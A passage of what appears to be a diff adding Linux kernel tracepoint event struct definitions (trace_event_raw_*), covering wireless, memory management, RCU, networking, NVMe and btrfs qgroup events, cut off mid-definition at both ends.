+ struct trace_entry ent; + char wiphy_name[32]; + u32 control_freq; + u32 freq_offset; + u32 chan_width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u32 min_control_freq; + u32 min_freq_offset; + u32 min_chan_width; + u32 min_center_freq1; + u32 min_freq1_offset; + u32 min_center_freq2; + u32 ap_control_freq; + u32 ap_freq_offset; + u32 ap_chan_width; + u32 ap_center_freq1; + u32 ap_freq1_offset; + u32 ap_center_freq2; + u8 rx_chains_static; + u8 rx_chains_dynamic; + char __data[0]; +}; + +struct trace_event_raw_local_only_evt { + struct trace_entry ent; + char wiphy_name[32]; + char __data[0]; +}; + +struct trace_event_raw_local_sdata_addr_evt { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char addr[6]; + char __data[0]; +}; + +struct trace_event_raw_local_sdata_chanctx { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 control_freq; + u32 freq_offset; + u32 chan_width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u32 min_control_freq; + u32 min_freq_offset; + u32 min_chan_width; + u32 min_center_freq1; + u32 min_freq1_offset; + u32 min_center_freq2; + u32 ap_control_freq; + u32 ap_freq_offset; + u32 ap_chan_width; + u32 ap_center_freq1; + u32 ap_freq1_offset; + u32 ap_center_freq2; + u8 rx_chains_static; + u8 rx_chains_dynamic; + unsigned int link_id; + char __data[0]; +}; + +struct trace_event_raw_local_sdata_evt { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char __data[0]; +}; + +struct trace_event_raw_local_u32_evt { + struct trace_entry ent; + char wiphy_name[32]; + u32 value; + char __data[0]; +}; + +struct trace_event_raw_lock { + struct trace_entry ent; + u32 __data_loc_name; + void *lockdep_addr; + char __data[0]; +}; + +struct trace_event_raw_lock_acquire { + struct trace_entry ent; + unsigned int flags; + u32 __data_loc_name; + void *lockdep_addr; + char __data[0]; +}; + +struct trace_event_raw_locks_get_lock_context { + struct trace_entry ent; + unsigned long i_ino; + dev_t s_dev; + unsigned char type; + struct file_lock_context *ctx; + char __data[0]; +}; + +struct trace_event_raw_ma_op { + struct trace_entry ent; + const char *fn; + unsigned long min; + unsigned long max; + unsigned long index; + unsigned long last; + void *node; + char __data[0]; +}; + +struct trace_event_raw_ma_read { + struct trace_entry ent; + const char *fn; + unsigned long min; + unsigned long max; + unsigned long index; + unsigned long last; + void *node; + char __data[0]; +}; + +struct trace_event_raw_ma_write { + struct trace_entry ent; + const char *fn; + unsigned long min; + unsigned long max; + unsigned long index; + unsigned long last; + unsigned long piv; + void *val; + void *node; + char __data[0]; +}; + +struct trace_event_raw_mark_victim { + struct trace_entry ent; + int pid; + u32 __data_loc_comm; + unsigned long total_vm; + unsigned long anon_rss; + unsigned long file_rss; + unsigned long shmem_rss; + uid_t uid; + unsigned long pgtables; + short oom_score_adj; + char __data[0]; +}; + +struct trace_event_raw_mdio_access { + struct trace_entry ent; + char busid[61]; + char read; + u8 addr; + u16 val; + unsigned int regnum; + char __data[0]; +}; + +struct xdp_mem_allocator; + +struct trace_event_raw_mem_connect { + struct trace_entry ent; + const struct xdp_mem_allocator *xa; + u32 mem_id; + u32 mem_type; + const void *allocator; + const struct xdp_rxq_info *rxq; + int ifindex; + char __data[0]; +}; + +struct trace_event_raw_mem_disconnect { + struct trace_entry ent; + const struct xdp_mem_allocator *xa; + u32 mem_id; + u32 mem_type; + const void *allocator; + char __data[0]; +}; + +struct trace_event_raw_mem_return_failed { + struct trace_entry ent; + const struct page *page; + u32 mem_id; + u32 mem_type; + char __data[0]; +}; + +struct trace_event_raw_mgd_prepare_complete_tx_evt { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 duration; + u16 subtype; + u8 success; + char __data[0]; +}; + +struct trace_event_raw_migration_pmd { + struct trace_entry ent; + unsigned long addr; + unsigned long pmd; + char __data[0]; +}; + +struct trace_event_raw_migration_pte { + struct trace_entry ent; + unsigned long addr; + unsigned long pte; + int order; + char __data[0]; +}; + +struct trace_event_raw_mm_alloc_contig_migrate_range_info { + struct trace_entry ent; + unsigned long start; + unsigned long end; + unsigned long nr_migrated; + unsigned long nr_reclaimed; + unsigned long nr_mapped; + int migratetype; + char __data[0]; +}; + +struct trace_event_raw_mm_collapse_huge_page { + struct trace_entry ent; + struct mm_struct *mm; + int isolated; + int status; + char __data[0]; +}; + +struct trace_event_raw_mm_collapse_huge_page_isolate { + struct trace_entry ent; + unsigned long pfn; + int none_or_zero; + int referenced; + bool writable; + int status; + char __data[0]; +}; + +struct trace_event_raw_mm_collapse_huge_page_swapin { + struct trace_entry ent; + struct mm_struct *mm; + int swapped_in; + int referenced; + int ret; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_begin { + struct trace_entry ent; + unsigned long zone_start; + unsigned long migrate_pfn; + unsigned long free_pfn; + unsigned long zone_end; + bool sync; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_defer_template { + struct trace_entry ent; + int nid; + enum zone_type idx; + int order; + unsigned int considered; + unsigned int defer_shift; + int order_failed; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_end { + struct trace_entry ent; + unsigned long zone_start; + unsigned long migrate_pfn; + unsigned long free_pfn; + unsigned long zone_end; + bool sync; + int status; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_isolate_template { + struct trace_entry ent; + unsigned long start_pfn; + unsigned long end_pfn; + unsigned long nr_scanned; + unsigned long nr_taken; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_kcompactd_sleep { + struct trace_entry ent; + int nid; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_migratepages { + struct trace_entry ent; + unsigned long nr_migrated; + unsigned long nr_failed; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_suitable_template { + struct trace_entry ent; + int nid; + enum zone_type idx; + int order; + int ret; + char __data[0]; +}; + +struct trace_event_raw_mm_compaction_try_to_compact_pages { + struct trace_entry ent; + int order; + unsigned long gfp_mask; + int prio; + char __data[0]; +}; + +struct trace_event_raw_mm_filemap_fault { + struct trace_entry ent; + unsigned long i_ino; + dev_t s_dev; + unsigned long index; + char __data[0]; +}; + +struct trace_event_raw_mm_filemap_op_page_cache { + struct trace_entry ent; + unsigned long pfn; + unsigned long i_ino; + unsigned long index; + dev_t s_dev; + unsigned char order; + char __data[0]; +}; + +struct trace_event_raw_mm_filemap_op_page_cache_range { + struct trace_entry ent; + unsigned long i_ino; + dev_t s_dev; + unsigned long index; + unsigned long last_index; + char __data[0]; +}; + +struct trace_event_raw_mm_khugepaged_collapse_file { + struct trace_entry ent; + struct mm_struct *mm; + unsigned long hpfn; + unsigned long index; + unsigned long addr; + bool is_shmem; + u32 __data_loc_filename; + int nr; + int result; + char __data[0]; +}; + +struct trace_event_raw_mm_khugepaged_scan_file { + struct trace_entry ent; + struct mm_struct *mm; + unsigned long pfn; + u32 __data_loc_filename; + int present; + int swap; + int result; + char __data[0]; +}; + +struct trace_event_raw_mm_khugepaged_scan_pmd { + struct trace_entry ent; + struct mm_struct *mm; + unsigned long pfn; + bool writable; + int referenced; + int none_or_zero; + int status; + int unmapped; + char __data[0]; +}; + +struct trace_event_raw_mm_lru_activate { + struct trace_entry ent; + struct folio *folio; + unsigned long pfn; + char __data[0]; +}; + +struct trace_event_raw_mm_lru_insertion { + struct trace_entry ent; + struct folio *folio; + unsigned long pfn; + enum lru_list lru; + unsigned long flags; + char __data[0]; +}; + +struct trace_event_raw_mm_migrate_pages { + struct trace_entry ent; + unsigned long succeeded; + unsigned long failed; + unsigned long thp_succeeded; + unsigned long thp_failed; + unsigned long thp_split; + unsigned long large_folio_split; + enum migrate_mode mode; + int reason; + char __data[0]; +}; + +struct trace_event_raw_mm_migrate_pages_start { + struct trace_entry ent; + enum migrate_mode mode; + int reason; + char __data[0]; +}; + +struct trace_event_raw_mm_page { + struct trace_entry ent; + unsigned long pfn; + unsigned int order; + int migratetype; + int percpu_refill; + char __data[0]; +}; + +struct trace_event_raw_mm_page_alloc { + struct trace_entry ent; + unsigned long pfn; + unsigned int order; + unsigned long gfp_flags; + int migratetype; + char __data[0]; +}; + +struct trace_event_raw_mm_page_alloc_extfrag { + struct trace_entry ent; + unsigned long pfn; + int alloc_order; + int fallback_order; + int alloc_migratetype; + int fallback_migratetype; + int change_ownership; + char __data[0]; +}; + +struct trace_event_raw_mm_page_free { + struct trace_entry ent; + unsigned long pfn; + unsigned int order; + char __data[0]; +}; + +struct trace_event_raw_mm_page_free_batched { + struct trace_entry ent; + unsigned long pfn; + char __data[0]; +}; + +struct trace_event_raw_mm_page_pcpu_drain { + struct trace_entry ent; + unsigned long pfn; + unsigned int order; + int migratetype; + char __data[0]; +}; + +struct trace_event_raw_mm_shrink_slab_end { + struct trace_entry ent; + struct shrinker *shr; + int nid; + void *shrink; + long unused_scan; + long new_scan; + int retval; + long total_scan; + char __data[0]; +}; + +struct trace_event_raw_mm_shrink_slab_start { + struct trace_entry ent; + struct shrinker *shr; + void *shrink; + int nid; + long nr_objects_to_shrink; + unsigned long gfp_flags; + unsigned long cache_items; + unsigned long long delta; + unsigned long total_scan; + int priority; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_direct_reclaim_begin_template { + struct trace_entry ent; + int order; + unsigned long gfp_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_direct_reclaim_end_template { + struct trace_entry ent; + unsigned long nr_reclaimed; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_kswapd_sleep { + struct trace_entry ent; + int nid; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_kswapd_wake { + struct trace_entry ent; + int nid; + int zid; + int order; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_lru_isolate { + struct trace_entry ent; + int highest_zoneidx; + int order; + unsigned long nr_requested; + unsigned long nr_scanned; + unsigned long nr_skipped; + unsigned long nr_taken; + int lru; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_lru_shrink_active { + struct trace_entry ent; + int nid; + unsigned long nr_taken; + unsigned long nr_active; + unsigned long nr_deactivated; + unsigned long nr_referenced; + int priority; + int reclaim_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_lru_shrink_inactive { + struct trace_entry ent; + int nid; + unsigned long nr_scanned; + unsigned long nr_reclaimed; + unsigned long nr_dirty; + unsigned long nr_writeback; + unsigned long nr_congested; + unsigned long nr_immediate; + unsigned int nr_activate0; + unsigned int nr_activate1; + unsigned long nr_ref_keep; + unsigned long nr_unmap_fail; + int priority; + int reclaim_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_node_reclaim_begin { + struct trace_entry ent; + int nid; + int order; + unsigned long gfp_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_throttled { + struct trace_entry ent; + int nid; + int usec_timeout; + int usec_delayed; + int reason; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_wakeup_kswapd { + struct trace_entry ent; + int nid; + int zid; + int order; + unsigned long gfp_flags; + char __data[0]; +}; + +struct trace_event_raw_mm_vmscan_write_folio { + struct trace_entry ent; + unsigned long pfn; + int reclaim_flags; + char __data[0]; +}; + +struct trace_event_raw_mmap_lock { + struct trace_entry ent; + struct mm_struct *mm; + u32 __data_loc_memcg_path; + bool write; + char __data[0]; +}; + +struct trace_event_raw_mmap_lock_acquire_returned { + struct trace_entry ent; + struct mm_struct *mm; + u32 __data_loc_memcg_path; + bool write; + bool success; + char __data[0]; +}; + +struct trace_event_raw_module_free { + struct trace_entry ent; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_module_load { + struct trace_entry ent; + unsigned int taints; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_module_refcnt { + struct trace_entry ent; + unsigned long ip; + int refcnt; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_module_request { + struct trace_entry ent; + unsigned long ip; + bool wait; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_mpath_evt { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 dst[6]; + u8 next_hop[6]; + char __data[0]; +}; + +struct trace_event_raw_msr_trace_class { + struct trace_entry ent; + unsigned int msr; + u64 val; + int failed; + char __data[0]; +}; + +struct trace_event_raw_napi_poll { + struct trace_entry ent; + struct napi_struct *napi; + u32 __data_loc_dev_name; + int work; + int budget; + char __data[0]; +}; + +struct trace_event_raw_neigh__update { + struct trace_entry ent; + u32 family; + u32 __data_loc_dev; + u8 lladdr[32]; + u8 lladdr_len; + u8 flags; + u8 nud_state; + u8 type; + u8 dead; + int refcnt; + __u8 primary_key4[4]; + __u8 primary_key6[16]; + unsigned long confirmed; + unsigned long updated; + unsigned long used; + u32 err; + char __data[0]; +}; + +struct trace_event_raw_neigh_create { + struct trace_entry ent; + u32 family; + u32 __data_loc_dev; + int entries; + u8 created; + u8 gc_exempt; + u8 primary_key4[4]; + u8 primary_key6[16]; + char __data[0]; +}; + +struct trace_event_raw_neigh_update { + struct trace_entry ent; + u32 family; + u32 __data_loc_dev; + u8 lladdr[32]; + u8 lladdr_len; + u8 flags; + u8 nud_state; + u8 type; + u8 dead; + int refcnt; + __u8 primary_key4[4]; + __u8 primary_key6[16]; + unsigned long confirmed; + unsigned long updated; + unsigned long used; + u8 new_lladdr[32]; + u8 new_state; + u32 update_flags; + u32 pid; + char __data[0]; +}; + +struct trace_event_raw_net_dev_rx_exit_template { + struct trace_entry ent; + int ret; + char __data[0]; +}; + +struct trace_event_raw_net_dev_rx_verbose_template { + struct trace_entry ent; + u32 __data_loc_name; + unsigned int napi_id; + u16 queue_mapping; + const void *skbaddr; + bool vlan_tagged; + u16 vlan_proto; + u16 vlan_tci; + u16 protocol; + u8 ip_summed; + u32 hash; + bool l4_hash; + unsigned int len; + unsigned int data_len; + unsigned int truesize; + bool mac_header_valid; + int mac_header; + unsigned char nr_frags; + u16 gso_size; + u16 gso_type; + char __data[0]; +}; + +struct trace_event_raw_net_dev_start_xmit { + struct trace_entry ent; + u32 __data_loc_name; + u16 queue_mapping; + const void *skbaddr; + bool vlan_tagged; + u16 vlan_proto; + u16 vlan_tci; + u16 protocol; + u8 ip_summed; + unsigned int len; + unsigned int data_len; + int network_offset; + bool transport_offset_valid; + int transport_offset; + u8 tx_flags; + u16 gso_size; + u16 gso_segs; + u16 gso_type; + char __data[0]; +}; + +struct trace_event_raw_net_dev_template { + struct trace_entry ent; + void *skbaddr; + unsigned int len; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_net_dev_xmit { + struct trace_entry ent; + void *skbaddr; + unsigned int len; + int rc; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_net_dev_xmit_timeout { + struct trace_entry ent; + u32 __data_loc_name; + u32 __data_loc_driver; + int queue_index; + char __data[0]; +}; + +struct trace_event_raw_netdev_evt_only { + struct trace_entry ent; + char name[16]; + int ifindex; + char __data[0]; +}; + +struct trace_event_raw_netdev_frame_event { + struct trace_entry ent; + char name[16]; + int ifindex; + u32 __data_loc_frame; + char __data[0]; +}; + +struct trace_event_raw_netdev_mac_evt { + struct trace_entry ent; + char name[16]; + int ifindex; + u8 mac[6]; + char __data[0]; +}; + +struct trace_event_raw_netlink_extack { + struct trace_entry ent; + u32 __data_loc_msg; + char __data[0]; +}; + +struct trace_event_raw_nmi_handler { + struct trace_entry ent; + void *handler; + s64 delta_ns; + int handled; + char __data[0]; +}; + +struct trace_event_raw_notifier_info { + struct trace_entry ent; + void *cb; + char __data[0]; +}; + +struct trace_event_raw_nvme_async_event { + struct trace_entry ent; + int ctrl_id; + u32 result; + char __data[0]; +}; + +struct trace_event_raw_nvme_complete_rq { + struct trace_entry ent; + char disk[32]; + int ctrl_id; + int qid; + int cid; + u64 result; + u8 retries; + u8 flags; + u16 status; + char __data[0]; +}; + +struct trace_event_raw_nvme_setup_cmd { + struct trace_entry ent; + char disk[32]; + int ctrl_id; + int qid; + u8 opcode; + u8 flags; + u8 fctype; + u16 cid; + u32 nsid; + bool metadata; + u8 cdw10[24]; + char __data[0]; +}; + +struct trace_event_raw_nvme_sq { + struct trace_entry ent; + int ctrl_id; + char disk[32]; + int qid; + u16 sq_head; + u16 sq_tail; + char __data[0]; +}; + +struct trace_event_raw_oom_score_adj_update { + struct trace_entry ent; + pid_t pid; + char comm[16]; + short oom_score_adj; + char __data[0]; +}; + +struct trace_event_raw_page_pool_release { + struct trace_entry ent; + const struct page_pool *pool; + s32 inflight; + u32 hold; + u32 release; + u64 cnt; + char __data[0]; +}; + +struct trace_event_raw_page_pool_state_hold { + struct trace_entry ent; + const struct page_pool *pool; + unsigned long netmem; + u32 hold; + unsigned long pfn; + char __data[0]; +}; + +struct trace_event_raw_page_pool_state_release { + struct trace_entry ent; + const struct page_pool *pool; + unsigned long netmem; + u32 release; + unsigned long pfn; + char __data[0]; +}; + +struct trace_event_raw_page_pool_update_nid { + struct trace_entry ent; + const struct page_pool *pool; + int pool_nid; + int new_nid; + char __data[0]; +}; + +struct trace_event_raw_percpu_alloc_percpu { + struct trace_entry ent; + unsigned long call_site; + bool reserved; + bool is_atomic; + size_t size; + size_t align; + void *base_addr; + int off; + void __attribute__((btf_type_tag("percpu"))) *ptr; + size_t bytes_alloc; + unsigned long gfp_flags; + char __data[0]; +}; + +struct trace_event_raw_percpu_alloc_percpu_fail { + struct trace_entry ent; + bool reserved; + bool is_atomic; + size_t size; + size_t align; + char __data[0]; +}; + +struct trace_event_raw_percpu_create_chunk { + struct trace_entry ent; + void *base_addr; + char __data[0]; +}; + +struct trace_event_raw_percpu_destroy_chunk { + struct trace_entry ent; + void *base_addr; + char __data[0]; +}; + +struct trace_event_raw_percpu_free_percpu { + struct trace_entry ent; + void *base_addr; + int off; + void __attribute__((btf_type_tag("percpu"))) *ptr; + char __data[0]; +}; + +struct trace_event_raw_pm_qos_update { + struct trace_entry ent; + enum pm_qos_req_action action; + int prev_value; + int curr_value; + char __data[0]; +}; + +struct trace_event_raw_power_domain { + struct trace_entry ent; + u32 __data_loc_name; + u64 state; + u64 cpu_id; + char __data[0]; +}; + +struct trace_event_raw_powernv_throttle { + struct trace_entry ent; + int chip_id; + u32 __data_loc_reason; + int pmax; + char __data[0]; +}; + +struct trace_event_raw_preemptirq_template { + struct trace_entry ent; + s32 caller_offs; + s32 parent_offs; + char __data[0]; +}; + +struct trace_event_raw_pstate_sample { + struct trace_entry ent; + u32 core_busy; + u32 scaled_busy; + u32 from; + u32 to; + u64 mperf; + u64 aperf; + u64 tsc; + u32 freq; + u32 io_boost; + char __data[0]; +}; + +struct trace_event_raw_purge_vmap_area_lazy { + struct trace_entry ent; + unsigned long start; + unsigned long end; + unsigned int npurged; + char __data[0]; +}; + +struct trace_event_raw_qdisc_create { + struct trace_entry ent; + u32 __data_loc_dev; + u32 __data_loc_kind; + u32 parent; + char __data[0]; +}; + +struct trace_event_raw_qdisc_dequeue { + struct trace_entry ent; + struct Qdisc *qdisc; + const struct netdev_queue *txq; + int packets; + void *skbaddr; + int ifindex; + u32 handle; + u32 parent; + unsigned long txq_state; + char __data[0]; +}; + +struct trace_event_raw_qdisc_destroy { + struct trace_entry ent; + u32 __data_loc_dev; + u32 __data_loc_kind; + u32 parent; + u32 handle; + char __data[0]; +}; + +struct trace_event_raw_qdisc_enqueue { + struct trace_entry ent; + struct Qdisc *qdisc; + const struct netdev_queue *txq; + void *skbaddr; + int ifindex; + u32 handle; + u32 parent; + char __data[0]; +}; + +struct trace_event_raw_qdisc_reset { + struct trace_entry ent; + u32 __data_loc_dev; + u32 __data_loc_kind; + u32 parent; + u32 handle; + char __data[0]; +}; + +struct trace_event_raw_qgroup_meta_convert { + struct trace_entry ent; + u8 fsid[16]; + u64 refroot; + s64 diff; + char __data[0]; +}; + +struct trace_event_raw_qgroup_meta_free_all_pertrans { + struct trace_entry ent; + u8 fsid[16]; + u64 refroot; + s64 diff; + int type; + char __data[0]; +}; + +struct trace_event_raw_qgroup_meta_reserve { + struct trace_entry ent; + u8 fsid[16]; + u64 refroot; + s64 diff; + int type; + char __data[0]; +}; + +struct trace_event_raw_qgroup_num_dirty_extents { + struct trace_entry ent; + u8 fsid[16]; + u64 transid; + u64 num_dirty_extents; + char __data[0]; +}; + +struct trace_event_raw_qgroup_update_counters { + struct trace_entry ent; + u8 fsid[16]; + u64 qgid; + u64 old_rfer; + u64 old_excl; + u64 cur_old_count; + u64 cur_new_count; + char __data[0]; +}; + +struct trace_event_raw_qgroup_update_reserve { + struct trace_entry ent; + u8 fsid[16]; + u64 qgid; + u64 cur_reserved; + s64 diff; + int type; + char __data[0]; +}; + +struct trace_event_raw_rcu_barrier { + struct trace_entry ent; + const char *rcuname; + const char *s; + int cpu; + int cnt; + unsigned long done; + char __data[0]; +}; + +struct trace_event_raw_rcu_batch_end { + struct trace_entry ent; + const char *rcuname; + int callbacks_invoked; + char cb; + char nr; + char iit; + char risk; + char __data[0]; +}; + +struct trace_event_raw_rcu_batch_start { + struct trace_entry ent; + const char *rcuname; + long qlen; + long blimit; + char __data[0]; +}; + +struct trace_event_raw_rcu_callback { + struct trace_entry ent; + const char *rcuname; + void *rhp; + void *func; + long qlen; + char __data[0]; +}; + +struct trace_event_raw_rcu_exp_funnel_lock { + struct trace_entry ent; + const char *rcuname; + u8 level; + int grplo; + int grphi; + const char *gpevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_exp_grace_period { + struct trace_entry ent; + const char *rcuname; + long gpseq; + const char *gpevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_fqs { + struct trace_entry ent; + const char *rcuname; + long gp_seq; + int cpu; + const char *qsevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_future_grace_period { + struct trace_entry ent; + const char *rcuname; + long gp_seq; + long gp_seq_req; + u8 level; + int grplo; + int grphi; + const char *gpevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_grace_period { + struct trace_entry ent; + const char *rcuname; + long gp_seq; + const char *gpevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_grace_period_init { + struct trace_entry ent; + const char *rcuname; + long gp_seq; + u8 level; + int grplo; + int grphi; + unsigned long qsmask; + char __data[0]; +}; + +struct trace_event_raw_rcu_invoke_callback { + struct trace_entry ent; + const char *rcuname; + void *rhp; + void *func; + char __data[0]; +}; + +struct trace_event_raw_rcu_invoke_kfree_bulk_callback { + struct trace_entry ent; + const char *rcuname; + unsigned long nr_records; + void **p; + char __data[0]; +}; + +struct trace_event_raw_rcu_invoke_kvfree_callback { + struct trace_entry ent; + const char *rcuname; + void *rhp; + unsigned long offset; + char __data[0]; +}; + +struct trace_event_raw_rcu_kvfree_callback { + struct trace_entry ent; + const char *rcuname; + void *rhp; + unsigned long offset; + long qlen; + char __data[0]; +}; + +struct trace_event_raw_rcu_nocb_wake { + struct trace_entry ent; + const char *rcuname; + int cpu; + const char *reason; + char __data[0]; +}; + +struct trace_event_raw_rcu_preempt_task { + struct trace_entry ent; + const char *rcuname; + long gp_seq; + int pid; + char __data[0]; +}; + +struct trace_event_raw_rcu_quiescent_state_report { + struct trace_entry ent; + const char *rcuname; + long gp_seq; + unsigned long mask; + unsigned long qsmask; + u8 level; + int grplo; + int grphi; + u8 gp_tasks; + char __data[0]; +}; + +struct trace_event_raw_rcu_segcb_stats { + struct trace_entry ent; + const char *ctx; + unsigned long gp_seq[4]; + long seglen[4]; + char __data[0]; +}; + +struct trace_event_raw_rcu_sr_normal { + struct trace_entry ent; + const char *rcuname; + void *rhp; + const char *srevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_stall_warning { + struct trace_entry ent; + const char *rcuname; + const char *msg; + char __data[0]; +}; + +struct trace_event_raw_rcu_torture_read { + struct trace_entry ent; + char rcutorturename[8]; + struct callback_head *rhp; + unsigned long secs; + unsigned long c_old; + unsigned long c; + char __data[0]; +}; + +struct trace_event_raw_rcu_unlock_preempted_task { + struct trace_entry ent; + const char *rcuname; + long gp_seq; + int pid; + char __data[0]; +}; + +struct trace_event_raw_rcu_utilization { + struct trace_entry ent; + const char *s; + char __data[0]; +}; + +struct trace_event_raw_rcu_watching { + struct trace_entry ent; + const char *polarity; + long oldnesting; + long newnesting; + int counter; + char __data[0]; +}; + +struct trace_event_raw_rdev_add_key { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 mac_addr[6]; + int link_id; + u8 key_index; + bool pairwise; + u8 mode; + char __data[0]; +}; + +struct trace_event_raw_rdev_add_nan_func { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u8 func_type; + u64 cookie; + char __data[0]; +}; + +struct trace_event_raw_rdev_add_tx_ts { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 peer[6]; + u8 tsid; + u8 user_prio; + u16 admitted_time; + char __data[0]; +}; + +struct trace_event_raw_rdev_add_virtual_intf { + struct trace_entry ent; + char wiphy_name[32]; + u32 __data_loc_vir_intf_name; + enum nl80211_iftype type; + char __data[0]; +}; + +struct trace_event_raw_rdev_assoc { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 bssid[6]; + u8 prev_bssid[6]; + bool use_mfp; + u32 flags; + u32 __data_loc_elements; + u8 ht_capa[26]; + u8 ht_capa_mask[26]; + u8 vht_capa[12]; + u8 vht_capa_mask[12]; + u32 __data_loc_fils_kek; + u32 __data_loc_fils_nonces; + char __data[0]; +}; + +struct trace_event_raw_rdev_auth { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 bssid[6]; + enum nl80211_auth_type auth_type; + char __data[0]; +}; + +struct trace_event_raw_rdev_cancel_remain_on_channel { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u64 cookie; + char __data[0]; +}; + +struct trace_event_raw_rdev_change_beacon { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + int link_id; + u32 __data_loc_head; + u32 __data_loc_tail; + u32 __data_loc_beacon_ies; + u32 __data_loc_proberesp_ies; + u32 __data_loc_assocresp_ies; + u32 __data_loc_probe_resp; + char __data[0]; +}; + +struct trace_event_raw_rdev_change_bss { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + int use_cts_prot; + int use_short_preamble; + int use_short_slot_time; + int ap_isolate; + int ht_opmode; + char __data[0]; +}; + +struct trace_event_raw_rdev_change_virtual_intf { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + enum nl80211_iftype type; + char __data[0]; +}; + +struct trace_event_raw_rdev_channel_switch { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + bool radar_required; + bool block_tx; + u8 count; + u32 __data_loc_bcn_ofs; + u32 __data_loc_pres_ofs; + u8 link_id; + char __data[0]; +}; + +struct trace_event_raw_rdev_color_change { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 count; + u16 bcn_ofs; + u16 pres_ofs; + u8 link_id; + char __data[0]; +}; + +struct trace_event_raw_rdev_connect { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 bssid[6]; + char ssid[33]; + enum nl80211_auth_type auth_type; + bool privacy; + u32 wpa_versions; + u32 flags; + u8 prev_bssid[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_crit_proto_start { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u16 proto; + u16 duration; + char __data[0]; +}; + +struct trace_event_raw_rdev_crit_proto_stop { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + char __data[0]; +}; + +struct trace_event_raw_rdev_deauth { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 bssid[6]; + u16 reason_code; + bool local_state_change; + char __data[0]; +}; + +struct trace_event_raw_rdev_del_link_station { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 mld_mac[6]; + u32 link_id; + char __data[0]; +}; + +struct trace_event_raw_rdev_del_nan_func { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u64 cookie; + char __data[0]; +}; + +struct trace_event_raw_rdev_del_pmk { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 aa[6]; + char __data[0]; +}; + +struct trace_event_raw_rdev_del_tx_ts { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 peer[6]; + u8 tsid; + char __data[0]; +}; + +struct trace_event_raw_rdev_disassoc { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 bssid[6]; + u16 reason_code; + bool local_state_change; + char __data[0]; +}; + +struct trace_event_raw_rdev_disconnect { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u16 reason_code; + char __data[0]; +}; + +struct trace_event_raw_rdev_dump_mpath { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 dst[6]; + u8 next_hop[6]; + int idx; + char __data[0]; +}; + +struct trace_event_raw_rdev_dump_mpp { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 dst[6]; + u8 mpp[6]; + int idx; + char __data[0]; +}; + +struct trace_event_raw_rdev_dump_station { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 sta_mac[6]; + int idx; + char __data[0]; +}; + +struct 